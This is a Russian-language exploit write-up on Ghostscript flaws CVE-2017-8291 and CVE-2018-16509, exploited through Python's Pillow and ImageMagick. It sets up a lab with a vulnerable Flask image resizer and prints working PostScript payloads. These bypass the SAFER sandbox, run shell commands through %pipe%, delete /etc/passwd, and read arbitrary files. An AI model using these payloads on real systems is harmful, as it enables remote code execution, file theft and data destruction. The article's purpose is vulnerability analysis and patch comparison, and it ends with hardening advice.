Злая картинка. Разбираем уязвимость в GhostScript, чтобы эксплуатировать Pillow и ImageMagick

Злая картинка. Разбираем уязвимость в GhostScript, чтобы эксплуатировать Pillow и ImageMagick

Эксплойт

Специалисты из Google Project Zero нашли несколько опасных уязвимостей в Ghostscript — популярной реализации PostScript. Правильно сформированный файл может позволить исполнять произвольный код в целевой системе. Уязвимости подвержена и библиотека Pillow, которую часто используют в проектах на Python, в том числе — на вебе. Как это эксплуатировать? Давай разбираться.

Python Imaging Library (PIL) и ее современный форк Pillow предназначены для работы с изображениями из Python. В общих чертах они напоминают модуль gd в PHP. Эти библиотеки используются во многих популярных фреймворках и модулях. Их вызовы можно встретить в самых разных примерах кода. В общем, Pillow нередко встречается в продакшене, если один из компонентов стека — это язык Python.

Для операций с файлами PIL и Pillow используют внешние утилиты, такие как Ghostscript. Ghostscript — это кросс-платформенный интерпретатор языка PostScript (PS). Он может обрабатывать файлы PostScript и конвертировать их в другие графические форматы, выводить содержимое и печатать на принтерах, не имеющих встроенной поддержки PostScript.


А PostScript, в свою очередь, — это не просто язык разметки, а полноценный язык программирования. В нем реализованы свои алгоритмы работы с текстом и изображениями.

Официальная документация Adobe на PostScript в данный момент насчитывает около 900 страниц текста и примеров. Так что развернуться тут есть где. Неудивительно, что настолько развесистая штуковина иногда позволяет проделывать вещи, которые не были предусмотрены разработчиками интерпретаторов.

На этот раз в интерпретаторе Ghostscript и была обнаружена пачка уязвимостей, которые снова нашел Тавис Орманди (Tavis Ormandy) из Google Project Zero. Он сообщил о своей находке осенью этого года. Найденные уязвимости — это, по сути, продолжение прошлогодней ошибки в Ghostscript, что получила название GhostButt.

Давай выясним, какие слабые места были обнаружены и каким образом их можно проэксплуатировать.

CVE-2017-8291 — GhostButt Ghostscript.
CVE-2018-16509 — новая уязвимость

Стенд

Демонстрировать уязвимость я, как обычно, буду с помощью Docker и контейнера на основе Debian.

$ docker run --rm -p80:80 -ti --name=pilrce --hostname=pilrce debian /bin/bash

Если хочешь немного подебажить, то запускай контейнер с соответствующими ключами.

$ docker run --rm -p80:80 -ti --cap-add=SYS_PTRACE --security-opt seccomp=unconfined --name=pilrce --hostname=pilrce debian /bin/bash

Обновляем репозитории и устанавливаем Python, менеджер пакетов pip и вспомогательные утилиты.

$ apt update && apt install -y nano wget strace python python-pip gdb git

Теперь установим последнюю уязвимую версию Pillow.

$ pip install "Pillow==5.3.0"

Для удобства тестирования нам также понадобится Flask. Это популярный фреймворк для создания веб-приложений.

$ pip install flask

Теперь с его помощью напишем небольшой скриптик, который будет принимать пользовательские картинки и менять их размер. Довольно обычное поведение для современных веб-сервисов.

app.py

01: from flask import Flask, flash, get_flashed_messages, make_response,  redirect, render_template_string, request
02: from os import path, unlink
03: from PIL import Image
04:
05: import tempfile
06:
07: app = Flask(__name__)
08:
09: @app.route('/', methods=['GET', 'POST'])
10: def upload_file():
11:     if request.method == 'POST':
12:         file = request.files.get('image', None)
13:
14:         if not file:
15:             flash('No image found')
16:             return redirect(request.url)
17:
18:         filename = file.filename
19:         ext = path.splitext(filename)[1]
20:
21:         if (ext not in ['.jpg', '.jpeg', '.png', '.gif', '.bmp']):
22:             flash('Invalid extension')
23:             return redirect(request.url)
24:
25:         tmp = tempfile.mktemp("test")
26:         img_path = "{}.{}".format(tmp, ext)
27:
28:         file.save(img_path)
29:
30:         img = Image.open(img_path)
31:         w, h = img.size
32:         ratio = 256.0 / max(w, h)
33:
34:         resized_img = img.resize((int(w * ratio), int(h * ratio)))
35:         resized_img.save(img_path)
36:
37:         r = make_response()
38:         r.data = open(img_path, "rb").read()
39:         r.headers['Content-Disposition'] = 'attachment; filename=resized_{}'.format(filename)
40:
41:         unlink(img_path)
42:
43:         return r
44:
45:     return render_template_string('''
46:     <!doctype html>
47:     <title>Image Resizer</title>
48:     <h1>Upload an Image to Resize</h1>
49:     {% with messages = get_flashed_messages() %}
50:     {% if messages %}
51:         <ul class=flashes>
52:         {% for message in messages %}
53:         <li>{{ message }}</li>
54:         {% endfor %}
55:         </ul>
56:     {% endif %}
57:     {% endwith %}
58:     <form method=post enctype=multipart/form-data>
59:       <p><input type=file name=image>
60:          <input type=submit value=Upload>
61:     </form>
62:     ''')
63:
64: if __name__ == '__main__':
65:     app.run(threaded=True, port=80, host="0.0.0.0")

Осталось запустить этот скрипт и посмотреть на результат его работы в браузере.

$ python app.py
Готовый стенд для тестирования уязвимости в PIL

Если не хочешь возиться со всеми предустановками вручную, то можешь воспользоваться готовым решением из репозитория Vulhub.

Также нам нужен собственно сам Ghostscript версии ниже 9.24. Я буду использовать две версии: 9.21 — для демонстрации уязвимости GhostButt и 9.23 — для тестирования текущего бага. Взять их можно на официальном сайте в разделе загрузок.

$ wget https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs923/ghostscript-9.23-linux-x86_64.tgz
$ wget https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs921/ghostscript-9.21-linux-x86_64.tgz
$ tar xvzf ghostscript-9.23-linux-x86_64.tgz && tar xvzf ghostscript-9.21-linux-x86_64.tgz

После распаковки в соответствующих папках ты найдешь бинарники gs-921-linux-x86_64и gs-923-linux-x86_64. Я буду перемещать их в /usr/bin/gs по мере необходимости.

Еще я поставил вспомогательную утилиту для отладчика GDB — pwndbg.

$ git clone https://github.com/pwndbg/pwndbg
$ cd pwndbg
$ ./setup.sh

И скачал исходники Ghostscript, чтобы скомпилировать дебаг-версии утилиты.

$ cd ~
$ wget https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs921/ghostscript-9.21.tar.gz
$ wget https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs923/ghostscript-9.23.tar.gz
$ tar xvf ghostscript-9.21.tar.gz
$ tar xvf ghostscript-9.23.tar.gz
$ cd ~/ghostscript-9.21 && ./configure && make debug
$ cd ~/ghostscript-9.23 && ./configure && make debug

Готовые дебаг-бинарники будут лежать в папке debugbin. Вот теперь стенд готов.

Бинарник Ghostscript, скомпилированный с отладочной информацией


Оригинальный GhostButt (CVE-2017-8291) и причины уязвимости PIL

Прежде чем переходить к рассмотрению недавних уязвимостей, вернемся на год назад и посмотрим на их прародителя. Проблемные версии — 9.21 и ниже, поэтому берем 9.21.

$ cp ~/ghostscript-9.21-linux-x86_64/gs-921-linux-x86_64 /usr/bin/gs
Используем Ghostscript версии 9.21

Первым делом стоит обратить внимание на то, что PIL автоматически определяет тип передаваемого файла. По аналогии с ImageMagick библиотека смотрит на заголовок картинки и передает управление нужному участку кода.

/src/PIL/Image.py

2618:     prefix = fp.read(16)
...
2642:     im = _open_core(fp, filename, prefix)
...
2644:     if im is None:
2645:         if init():
2646:             im = _open_core(fp, filename, prefix)
...
2623:     def _open_core(fp, filename, prefix):
2624:         for i in ID:
2625:             try:
2626:                 factory, accept = OPEN[i]
2627:                 result = not accept or accept(prefix)
2628:                 if type(result) in [str, bytes]:
2629:                     accept_warnings.append(result)
2630:                 elif result:
2631:                     fp.seek(0)
2632:                     im = factory(fp, filename)
2633:                     _decompression_bomb_check(im.size)
2634:                     return im
2635:             except (SyntaxError, IndexError, TypeError, struct.error):
2636:                 # Leave disabled by default, spams the logs with image
2637:                 # opening failures that are entirely expected.
2638:                 # logger.debug("", exc_info=True)
2639:                 continue
2640:         return None

При обработке файла отрабатывает функция _open_core. Она вызывает метод _accept из каждого класса, который отвечает за формат файла. В качестве аргументов передаются первые 16 байт обрабатываемого файла.

/src/PIL/BmpImagePlugin.py

49: def _accept(prefix):
50:     return prefix[:2] == b"BM"

/src/PIL/GifImagePlugin.py

38: def _accept(prefix):
39:     return prefix[:6] in [b"GIF87a", b"GIF89a"]

/src/PIL/EpsImagePlugin.py

190: def _accept(prefix):
191:     return prefix[:4] == b"%!PS" or \
192:            (len(prefix) >= 4 and i32(prefix) == 0xC6D3D0C5)

Это открывает неплохой плацдарм для обхода черных и белых списков.

Нам интересен загрузчик EpsImagePlugin, который работает с файлами PostScript. Как мы выяснили выше, для его вызова необходимо, чтобы файл имел хидер %!PS.

Теперь сфокусируемся на том, как Python общается с Ghostscript.

/src/PIL/EpsImagePlugin.py

328:     def load(self, scale=1):
329:         # Load EPS via Ghostscript
330:         if not self.tile:
331:             return
332:         self.im = Ghostscript(self.tile, self.size, self.fp, scale)

Функция load создает экземпляр класса Ghostscript для общения с бинарником gs.

/src/PIL/EpsImagePlugin.py

070: def Ghostscript(tile, size, fp, scale=1):
071:     """Render an image using Ghostscript"""
...
118:     # Build Ghostscript command
119:     command = ["gs",
120:                "-q", # Quiet mode
121:                "-g%dx%d" % size, # Set output geometry (pixels)
122:                "-r%fx%f" % res, # Set input DPI (dots per inch)
123:                "-dBATCH", # Exit after processing
124:                "-dNOPAUSE", # Don’t pause between pages
125:                "-dSAFER", # Safe mode
126:                "-sDEVICE=ppmraw", # Ppm driver
127:                "-sOutputFile=%s" % outfile, # Output file
128:                "-c", "%d %d translate" % (-bbox[0], -bbox[1]),
129:                # Adjust for image origin
130:                "-f", infile, # Input file
131:                "-c", "showpage", # Showpage (see: https://bugs.ghostscript.com/show_bug.cgi?id=698272)
132:                ]
...
139:     # Push data through Ghostscript
140:     try:
141:         with open(os.devnull, 'w+b') as devnull:
142:             startupinfo = None
143:             if sys.platform.startswith('win'):
144:                 startupinfo = subprocess.STARTUPINFO()
145:                 startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
146:             subprocess.check_call(command, stdin=devnull, stdout=devnull,
147:                                   startupinfo=startupinfo)
148:         im = Image.open(outfile)
149:         im.load()

Посмотрим, как выглядит запрос на практике. Сделаем пустую картинку.

test.png

%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100

Используем расширение .png, чтобы увидеть, что файл обрабатывается в соответствии с содержимым. И набросаем тестовый скрипт, который возвращает размер документа в пикселях.

test.py

01: from PIL import Image
02: import sys
03:
04: def get_img_size(filepath=""):
05:     ''' Get the image length and width '''
06:     if filepath:
07:         img = Image.open(filepath)
08:         img.load()
09:         return img.size
10:     return (0, 0)
11:
12: print(get_img_size(sys.argv[1]))

Запустим наш скрипт, используя утилиту strace.

$ strace -f -e trace=execve python test.py test.png
Результат запуска скрипта через утилиту strace

Видим, что был вызван бинарник gs с некоторым набором определенных в скрипте параметров. Полностью команда имеет вид

$ /usr/bin/gs -q -g100x100 -r72.000000x72.000000 -dBATCH -dNOPAUSE -dSAFER -sDEVICE=ppmraw -sOutputFile=/tmp/tmpkwUxze -c 0 0 translate -f test.png -c showpage

Аргумент -dSAFER включает своего рода песочницу, которая ограничивает возможность удаления, переименования и выполнения произвольного кода в контексте работы gs. Если бы не этот флаг, то для выполнения RCE достаточно было бы файла PostScript следующего вида:

test1.png

%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
currentdevice null false mark /OutputFile (%pipe%echo RCE_IS_HERE > /dev/tty)
.putdeviceparams
1 true .outputpage
0 0 .quit
Выполнение произвольного кода в Ghostscript без флага SAFER

Но этот флаг используется уже испокон веков, так что нужно как-то пробиваться через него.

Именно в этом и заключается уязвимость GhostButt: отключение песочницы и выполнение произвольного кода. Скачаем документ-эксплоит и проверим его работоспособность.

CVE-2017-8291.png

001: %!PS-Adobe-3.0 EPSF-3.0
002: %%BoundingBox: -0 -0 100 100
003:
004:
005: /size_from  10000      def
006: /size_step    500      def
007: /size_to   65000      def
008: /enlarge    1000      def
009:
010: %/bigarr 65000 array def
...
094: currentdevice null false mark /OutputFile (%pipe%touch /tmp/aaaaa)
095: .putdeviceparams
096: 1 true .outputpage
097: .rsdparams
098: %{ } loop
099: 0 0 .quit
100: %asdf

Снова воспользуемся помощью утилиты strace.

$ strace -f -e trace=execve python test.py CVE-2017-8291.png
Успешная эксплуатация RCE-уязвимости GhostButt (CVE-2017-8291) в Ghostscript 9.21

Эксплоит успешно отработал.

В Ghostscript все манипуляции совершаются в контексте устройств вывода, так называемых девайсов (devices). У каждого такого девайса есть набор параметров и настроек, одна из которых — флаг LockSafetyParams. Если он установлен в true, то включается режим песочницы.

Как ты понял, манипулировать флагом можно с помощью аргумента командной строки SAFER. По дефолту он выключен, но в нашем случае Python вызывает бинарник gs с включенной опцией безопасного выполнения. Поэтому основная задача эксплоита — выставить этот флаг в false перед тем, как передать управление полезной нагрузке. Для этих целей используется цепочка уязвимостей и трюков.

Как ты помнишь, PostScript — это полноценный язык программирования, который концептуально напоминает язык форт).

PostScript — конкатенативный язык. В таком языке широко используется неявное указание аргументов функций, новые функции определяются как композиция функций, а вместо аппликации применяется конкатенация. Язык PostScript использует стек для хранения операнда и передачи аргументов функциям, а переменные osbotosp и ostop указывают на низ, указатель и вершину стека соответственно.

/ghostscript-9.21/psi/ostack.h

25: // Define the operand stack pointers for operators.
26: #define iop_stack (i_ctx_p->op_stack)
27: #define o_stack (iop_stack.stack)
28: 
29: #define osbot (o_stack.bot)
30: #define osp (o_stack.p)
31: #define ostop (o_stack.top)

Этот стек так и называется стеком операндов (operand stack). Помимо него, есть еще два вида стеков — стек словарей (dictionary stack) и стек исполнения (execution stack), но в рамках данной статьи нам они неинтересны. 


В реализации Ghostscript стек хранится в памяти в виде кучи (heap), и программистам нужно уделять большое внимание логике тех функций, которые могут им манипулировать.

Вернемся к эксплоиту и пробежимся по нему в отладчике, рассмотрим основные моменты, чтобы понять, что же там происходит и почему такая последовательность команд ведет к выполнению произвольного кода. Будем использовать бинарник с отладочной информацией.

$ cp ~/ghostscript-9.21/debugbin/gs /usr/bin/gs
$ gdb --args gs -q -dBATCH -dNOPAUSE -dSAFER -sDEVICE=ppmraw -sOutputFile=/dev/null -f CVE-2017-8291.png
Уязвимость GhostButt в отладчике GDB

Мы знаем, что эксплоит создает файл в директории /tmp. Делает он это при помощи следующей команды:

$ /OutputFile (%pipe%touch /tmp/aaaaa)

Поискав в сорцах конструкцию %pipe%, натыкаемся на файл, который ее обрабатывает. Вызывается функция pipe_fopen, где отрабатывает popen. Этот вызов и выполняет переданную команду.

/ghostscript-9.21/base/gdevpipe.c

17: /* %pipe% IODevice */
...
27: /* The pipe IODevice */
28: static iodev_proc_fopen(pipe_fopen);
29: static iodev_proc_fclose(pipe_fclose);
30: const gx_io_device gs_iodev_pipe = {
31:     "%pipe%", "Special",
32:     {iodev_no_init, iodev_no_open_device,
33:      NULL /*iodev_os_open_file */ , pipe_fopen, pipe_fclose,
34:      iodev_no_delete_file, iodev_no_rename_file, iodev_no_file_status,
35:      iodev_no_enumerate_files, NULL, NULL,
36:      iodev_no_get_params, iodev_no_put_params
37:     }
38: };
39: 
...
43: pipe_fopen(gx_io_device * iodev, const char *fname, const char *access,
44:            FILE ** pfile, char *rfname, uint rnamelen)
45: {
...
60:     *pfile = popen((char *)fname, (char *)access);

Давай поставим брейк-пойнт на popen и выполним нашу команду.

Отладка эксплоита GhostButt. Брейк-пойнт на функции popen

Выполним команду bt, чтобы увидеть, как мы до такого докатились.

Бэктрейс во время вызова popen

Видим, что уязвимость срабатывает после функции zoutputpage. Оператор .outputpage в PostScript отправляет страницу на указанное устройство.

Что же такого особенного в структуре этой страницы? Обрати внимание на команду .eqproc. Она принимает на вход два операнда из стека, сравнивает их, а результат в виде булева значения записывает в стек.

/ghostscript-9.21/psi/zmisc3.c

053: zeqproc(i_ctx_t *i_ctx_p)
054: {
055:     os_ptr op = osp;
056:     ref2_t stack[MAX_DEPTH + 1];
057:     ref2_t *top = stack;
058: 
059:     make_array(&stack[0].proc1, 0, 1, op - 1);
060:     make_array(&stack[0].proc2, 0, 1, op);

Так как типы операндов не проверяются, то можно сравнить любые операнды. Используя .eqproc в цикле, можно вызвать переполнение указателя стека в стеке операндов, и каждый последующий вызов функции будет записывать в стек примитив.

/ghostscript-9.21/psi/zmisc3.c

112:     make_false(op - 1);
113:     pop(1);
114:     return 0;
115: }
Отладка .eqproc в Ghostscript

Сравни, вот та же самая функция в Ghostscript версии 9.23.

/ghostscript-9.23/psi/zmisc3.c

62: zeqproc(i_ctx_t *i_ctx_p)
63: {
64:     os_ptr op = osp;
65:     ref2_t stack[MAX_DEPTH + 1];
66:     ref2_t *top = stack;
67: 
68:     check_op(2);
69:     if (!eqproc_check_type(op -1) || !eqproc_check_type(op)) {
70:         make_false(op - 1);
71:         pop(1);
72:         return 0;
73:     }
74: 
75:     make_array(&stack[0].proc1, 0, 1, op - 1);
76:     make_array(&stack[0].proc2, 0, 1, op);
77:     for (;;) {

Добавился блок с проверкой сравниваемых операндов.

Как это можно использовать? Для манипуляции указателем стека применяется еще один оператор — aload, так что указатель стека обновляется до адреса следующей кучи строкового буфера. Переполняя и записывая примитивы, злоумышленник может вывести относительный адрес следующего указателя стека (osp) и затем выполнить строковую функцию, которая переопределит часть свойств объекта стека.

<array> aload <obj_0> ... <obj_n-1> <array>

Когда размер массива превышает текущее свободное пространство стека, zaload выделит память при помощи вызова ref_stack_push, перераспределит стек и перезапишет указатель стека osp.

/ghostscript-9.21/psi/zarray.c

49: /* <array> aload <obj_0> ... <obj_n-1> <array> */
50: static int
51: zaload(i_ctx_t *i_ctx_p)
52: {
...
62:     if (asize > ostop - op) {   /* Use the slow, general algorithm. */
63:         int code = ref_stack_push(&o_stack, asize);
64:         uint i;
65:         const ref_packed *packed = aref.value.packed;
66: 
67:         if (code < 0)
68:             return code;
69:         for (i = asize; i > 0; i--, packed = packed_next(packed))
70:             packed_get(imemory, packed, ref_stack_index(&o_stack, i));
71:         *osp = aref;
72:         return 0;
73:     }

Для удобства дальнейшей отладки расставим функцию вывода строк (print) так, чтобы она срабатывала во время выполнения всех важных частей эксплоита, а ловить их будем при помощи бряков на zprint.

CVE-2017-8291.png

44: /buffersearchvars [0 0 0 0 0] def
45: /sdevice [0] def
46: 
47: buffers
48: (hey) print
49: pop     % discard buffers on operator stack
50: 
51: enlarge array aload
52: (after aload) print
53: {
54:     .eqproc

После того как бряк сработает в первый раз, дно стека (ospbot) будет находиться по адресу 0x555556fe4128, а указатель на стек (osp) — 0x555556fe4138. По адресу 0x5555572762eb расположилась строка hey, которую мы собираемся выводить. А последний элемент — адрес строкового буфера. Он лежит по адресу 0x555557901580, и его размер — 65 000 байт. Конец буфера обозначается последовательностью байтов 0xff.

Момент перед манипуляцией со стеком при помощи aload

Продолжим выполнение программы. Теперь, после выполнения aload, дно стека находится по адресу 0x5555574a1988, а указатель на стек — 0x555556fe4138. То есть теперь он указывает на ранее выделенную память строкового буфера.

Манипуляция со стеком при помощи aload

Когда только указатель стека переназначен, мы можем использовать .eqproc для переполнения. При помощи buffersearchvars сохраняются переменные поиска, и эксплоит в цикле проверяет, был ли изменен байт 0xff в конце строки во всех буферах. Это нужно для того, чтобы определить, что указатель стека (osp) достиг нужного нам диапазона и перекрывается со строковым буфером.

Добавим еще немого print для упрощения отладки.

CVE-2017-8291.png

58:     buffercount {
59:         buffers buffersearchvars 1 get get
60:         buffersizes buffersearchvars 1 get get
61:         16 sub get
62:         254 le { % Перезаписан ли байт 0xff?
63:             buffersearchvars 2 1 put
64:             buffersearchvars 3 buffers buffersearchvars 1 get get put
65:             buffersearchvars 4 buffersizes buffersearchvars 1 get get 16 sub put
66:         } if
67:         buffersearchvars 1 buffersearchvars 1 get 1 add put
68:     } repeat
69: 
70:     buffersearchvars 2 get 1 ge {
71:         exit
72:     } if
73:     %(.) print
74: } loop
...
79: sdevice 0 % Сохраняем указатель на объект девайса
80: currentdevice
81: (before convert to string type) print
82: buffersearchvars 3 get buffersearchvars 4 get 16#7e put 
83: buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put % Записываем конструкцию 0x127e, тем самым меняем тип объекта на string
84: buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put
85: (convert completed) print
...
89: buffersearchvars 0 get array aload
90: (LockSafetyParams->1) print
91: sdevice 0 get
92: 16#3e8 0 put
93: (LockSafetyParams->0) print

Используем строковый буфер (string buffer), чтобы переписать тип объекта device следующего стека и сделать его строковым (string). Для этого запишем конструкцию 0x127e вместо 0x1378.

Перезапись типа объекта устройства: device превращается в string

Полученный объект нужно сохранить в массиве sdevice и, наконец, перезаписать свойство LockSafetyParams для того, чтобы отключить песочницу и обойти режим SAFER. Флаг находится по смещению 0x3e8 относительно объекта.

Свойство LockSafetyParams установлено в true, но это только пока

В данный момент он установлен в true. Но после выполнения 16#3e8 0 put флаг сбрасывается, и эксплоит успешно завершает работу выполнением указанного пейлоада.

Отключение песочницы и успешная эксплуатация

С GhostButt разобрались, можно переходить к недавним уязвимостям.

 

Новые проблемы в Ghostscript и уязвимость CVE-2018-16509

Теперь будем использовать бинарник Ghostscript версии 9.23.

$ cp ~/ghostscript-9.23-linux-x86_64/gs-923-linux-x86_64 /usr/bin/gs

Если еще не устал от дебага, то бери утилиту с отладочной информацией.

$ cp ~/ghostscript-9.23/debugbin/gs /usr/bin/gs

Тавис Орманди нашел еще целую пачку уязвимостей. Давай рассмотрим их в порядке увеличения критичности.

В описании функции setcolor сказано, что проверка операнда не требуется, так как он скрыт за псевдооператором с тем же именем и может быть использован только в определенных ситуациях.

/ghostscript-9.23/psi/zcolor.c

263:  /* This operator is hidden by a pseudo-operator of the same name, so it will
264:  * only be invoked under controlled situations. Hence, it does no operand
265:  * checking.
266:  */
267: static int
268: zsetcolor(i_ctx_t * i_ctx_p)
269: {

Однако ты можешь вызвать его косвенно через setpattern, поэтому проверка необходима. Команда << /whatever 16#414141414141 >> setpattern вызывает ошибку сегментации.

Вызов setcolor через setpattern и ошибка сегментации в Ghostscript

Следующая ошибка типа «несоответствие типов» (type confusion) была обнаружена в параметре LockDistillerParams. Он должен иметь логический тип, но это нигде не проверяется.

/ghostscript-9.23/devices/vector/gdevpsdf.h

105:     bool LockDistillerParams;

Поэтому конструкция << /LockDistillerParams 16#4141414141414141 >> .setdistillerparams также вызовет ошибку сегментации.

Ошибка type confusion в параметре LockDistillerParams

Проблема под номером три закралась в функцию ztempfile. В качестве аргументов ей нужно передать имя файла и флаги режима его открытия (запись, чтение и так далее).

/ghostscript-9.23/psi/zfile.c

695: /* <prefix|null> <access_string> .tempfile <name_string> <file> */
696: static int
697: ztempfile(i_ctx_t *i_ctx_p)
698: {
699:     os_ptr op = osp;
700:     const char *pstr;
701:     char fmode[4];
702:     int code = parse_file_access_string(op, fmode);
703:     char *prefix = NULL;
...
712:     prefix = (char *)gs_alloc_bytes(imemory, gp_file_name_sizeof, "ztempfile(prefix)");
713:     fname = (char *)gs_alloc_bytes(imemory, gp_file_name_sizeof, "ztempfile(fname)");
714:     if (!prefix || !fname) {
715:         code = gs_note_error(gs_error_VMerror);
716:         goto done;
717:     }

Только вот если передать полный путь, то вместо того, чтобы отбросить его и положить временный файл в директорию tmp, где ему самое место, Ghostscript создаст его в указанной директории.

Для проверки воспользуемся утилитой strace.

$ strace -fefile gs -sDEVICE=ppmraw -dSAFER

(/proc/self/cwd/gigity) (w) .tempfile

Создание файла вне временной директории при помощи tempfile в Ghostscript

Как видишь, есть небольшая проблема — префикс (prefix). Он мешает эксплуатировать эту уязвимость по полной программе. Если будет интересно, можешь попробовать обойти это поведение.

После этого можно писать в файл любые данные с помощью writestring. Не забудь закрыть файл, когда закончишь.

dup
(hello) writestring
closefile

Тут нас поджидает еще одна проблемка. После завершения работы Ghostscript временный файл будет удален.

Удаление временного файла после завершения работы утилиты Ghostscript

Решается она просто: нужно не дать утилите нормально завершить работу. Как вариант, подойдет любой из багов, которые крашат GS.

Обход удаления временного файла после выполнения функции tempfile в Ghostscript

Чтобы удалить произвольный файл, можно воспользоваться конструкцией

{ .bindnow } stopped {} if
(/etc/passwd) [] .tempfile

После завершения работы GS указанный файл будет удален.

Удаление произвольного файла с помощью Ghostscript

Еще Орманди придумал, каким образом можно читать любые файлы, доступные пользователю. Он написал функцию, которая интерпретирует содержимое файла PostScript и ловит ошибки синтаксиса. Будь аккуратнее: так как тут используется функция tempfile, после завершения скрипт Ghostscript попытается удалить прочитанный файл.

fileread.ps

01: /FileToSteal (/etc/passwd) def
02: errordict /undefinedfilename {
03:     FileToSteal % save the undefined name
04: } put
05: errordict /undefined {
06:     (STOLEN: ) print
07:     counttomark {
08:         ==only
09:     } repeat
10:     (\n) print
11:     FileToSteal
12: } put
13: errordict /invalidfileaccess {
14:     pop
15: } put
16: errordict /typecheck {
17:     pop
18: } put
19: FileToSteal [] .tempfile
20: statusdict
21: begin
22:     1 1 .setpagesize
23: end
24: quit
Чтение файлов при помощи Ghostscript

С Ghostscript версии 9.24 такие трюки уже не сработают, потому что разработчики добавили проверку пути при выполнении tempfile. Сравни две версии файла zfile.c.

/ghostscript-9.23/psi/zfile.c

736:     if (gp_file_name_is_absolute(pstr, strlen(pstr))) {
737:         if (check_file_permissions(i_ctx_p, pstr, strlen(pstr),
738:                                    NULL, "PermitFileWriting") < 0) {
739:             code = gs_note_error(gs_error_invalidfileaccess);
740:             goto done;
...
782:     make_string(op - 1, a_readonly | icurrent_space, fnlen, sbody);
783:     make_stream_file(op, s, fmode);
784: 
785: done:

/ghostscript-9.24/psi/zfile.c

764:     if (gp_file_name_is_absolute(pstr, strlen(pstr))) {
765:         int plen = strlen(pstr);
766:         const char *sep = gp_file_name_separator();
767: #ifdef DEBUG
768:         int seplen = strlen(sep);
769:         if (seplen != 1)
770:             return_error(gs_error_Fatal);
771: #endif
772:         /* strip off the file name prefix, leave just the directory name
773:          * so we can check if we are allowed to write to it
774:          */
775:         for ( ; plen >=0; plen--) {
776:             if (pstr[plen] == sep[0])
777:                 break;
778:         }
779:         memcpy(fname, pstr, plen);
780:         fname[plen] = '\0';
781:         if (check_file_permissions(i_ctx_p, fname, strlen(fname),
782:                                    NULL, "PermitFileWriting") < 0) {
783:             code = gs_note_error(gs_error_invalidfileaccess);
784:             goto done;
...
826:     make_string(op - 1, a_readonly | icurrent_space, fnlen, sbody);
827:     make_stream_file(op, s, fmode);
828:     code = record_file_is_tempfile(i_ctx_p, (unsigned char *)fname, fnlen, true);

А на сладкое у нас — выполнение произвольных команд. Только на этот раз все гораздо проще и не нужно никаких манипуляций со стеком и прочей бинарщины. Оказывается, проверки типа invalidaccess перестают работать после некорректного использования команды restore. Нам нужно лишь обработать ошибку и спокойно выполнять команды уже известным способом, с помощью OutputFile.

legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
showpage
RCE-эксплоит для Ghostscript 9.23 успешно отработал

А что там у нас с веб-сервером на Python? Ты, наверное, уже и позабыл про него. Тут все просто — отправляем наш вектор в файле, используя любое из разрешенных расширений, например png, и не забываем про хидер %!PS.

CVE-2018-16509.png

01: %!PS-Adobe-3.0 EPSF-3.0
02: %%BoundingBox: -0 -0 100 100
03: 
04: userdict /setpagedevice undef
05: save
06: legal
07: { null restore } stopped { pop } if
08: { legal } stopped { pop } if
09: restore
10: mark /OutputFile (%pipe%uname -a > /tmp/owned) currentdevice putdeviceprops
Успешная эксплуатация RCE-уязвимости Python-библиотеки Pillow через Ghostscript 9.23

Шалость удалась, и команда была выполнена на целевой машине.

Но не только Pillow использует Ghostscript в качестве сторонней утилиты, таким же методом пользуется небезызвестный ImageMagick.

/ImageMagick6/6.9.7-4/www/source/delegates.xml

<delegate decode="ps:alpha" stealth="True" command="&quot;gs&quot; -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=pngalpha&quot; -dTextAlphaBits=%u -dGraphicsAlphaBits=%u &quot;-r%s&quot; %s &quot;-sOutputFile=%s&quot; &quot;-f%s&quot; &quot;-f%s&quot;"/>

Строка вызова бинарника gs немного отличается от таковой в Pillow, но это не мешает этому же эксплоиту отрабатывать на ура.

RCE в ImageMagick через Ghostscript

Выводы

Сегодня мы немного окунулись в дебри языка PostScript и посмотрели на причины уязвимости в одном из его интерпретаторов — Ghostscript. Разобрались, какими опасными могут быть простые картинки, даже несмотря на белые списки форматов.

Если ты пишешь или администрируешь веб-приложение, принимающее картинки, и хочешь обезопасить себя, то советую максимально ограничить обработку файлов PS, EPS, PDF и XPS. Если это все же необходимо, то работай с ними в максимально ограниченной среде. Также никогда не доверяй содержимому любых загруженных пользователем файлов и не начинай их обработку, пока не убедишься в их легитимности.

Ну и конечно, следи за новостями в области безопасности и вовремя обновляйся!

Report Page